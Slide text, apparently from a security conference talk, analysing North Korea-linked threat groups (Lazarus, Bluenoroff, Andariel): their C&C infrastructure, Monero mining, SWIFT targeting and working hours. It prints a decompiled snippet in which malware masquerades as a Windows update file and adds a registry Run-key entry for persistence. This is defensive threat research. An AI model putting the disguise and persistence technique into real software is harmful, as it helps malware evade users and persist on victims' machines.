</tr>
</tbody>
</table>

```c
SetEnvironmentVariableA(szBase, &ExistingFileName);
LstrcatW(&ExistingFileName, L"windows-KB275122-x86.exe");

v4 = GetCurrentProcess();
if ( OpenProcessToken(v4, 0x200008u, &hObject) && GetUserProfileDirectoryW(hObject, &NewFileName) ) {
    LstrcatW(&NewFileName, L"\\Windows-KB275122-x86.exe");
    CloseHandle(hObject);
    wsprintfW(&data, L"%s\help", &NewFileName);
    CopyFileW(&ExistingFileName, &NewFileName, 0);
    RegOpenKeyW(HKEY_CURRENT_USER, L"Software\Microsoft\Windows\CurrentVersion\Run", &hKey);
    v5 = LstrlenW(&data);
    RegSetValueExW(hKey, L"Windows Update", 0, 1u, &data, 2 * v5);
    RegCloseKey(hKey);
}
return 0;
```
RECENT CHANGE & DISCOVERY

Some Updates
Getting new C&C server with (stolen? ransomed?) bitcoin

• Our observation shows that there are lesser compromised server been used in the recent attacks.

• In a case we investigated, we tried to inquiry the registrant information of an Andariel group’s C&C server from the hosting server provider.

• The hosting server provider reveals that since the server was pay with bitcoin, they don’t have any information about the identity.

• It is a far more effective way than hacking legitimate servers and also keeping anonymity.
**USING MONERO MINER**

**14/Sept/2017**
1XMR = $97 (Bitfinex)
Balance : $6,790

**12/Feb/2018**
1XMR = $240 (Bitfinex)
Balance : $25,200
TTP & KEY FINDINGS

Some interesting facts
TTP & Key-finding

• Delivery
  • Deliver payload with spear-phishing emails.

• Infrastructure
  • Frequently use compromised C&C server.

• Tools
  • Many shared code between proprietary malwares. (Andariel, Lazarus)
  • Open source tools in arsenal (i.e. Aryan, Xtreme RAT, Ghost RAT, FBI RAT) (Andariel)
  • Destroy evidence and tracks with ransomware. (i.e. Taiwan Far Eastern with Hermes Ransomware) (Lazarus, Bluenoroff, Reaper)
  • Multi-stage payload (Reaper)

• Target
  • Targeting SWIFT system when attack on banks. (very familiar with SWIFT network)
  • Launching SWIFT transaction during holiday/weekends.

• Persistent
  • Penetrating target’s network and control for a long time before doing transaction.
Sample Timestamp Analysis of Andariel Group (GMT+9)

Working Time?
12:00~13:00 Delicious Lunch?
17:00~19:00 Delicious Dinner?

Good Night!
Conclusion
We’ve seen an increasing trend of nation-state actors using their cyber espionage capabilities for financial gain.

Lazarus, Bluenoroff and Andariel groups targeted not only banks, but also bitcoin users/exchanges and ATM machines.

In many cases, the attackers show strong knowledge to the compromised system, network environment and their targets. They tailored their tools and develop 0 days for the targets. (They study hard about you!!)

It is difficult to track these threat groups only with C&C infrastructure. Therefore, be familiar with their tools and tactic is one of the key to defend against them. (You should study hard about them too!!!)
Q&A

ashley@hitcon.org
null@fsec.or.kr
kjkwak@fsec.or.kr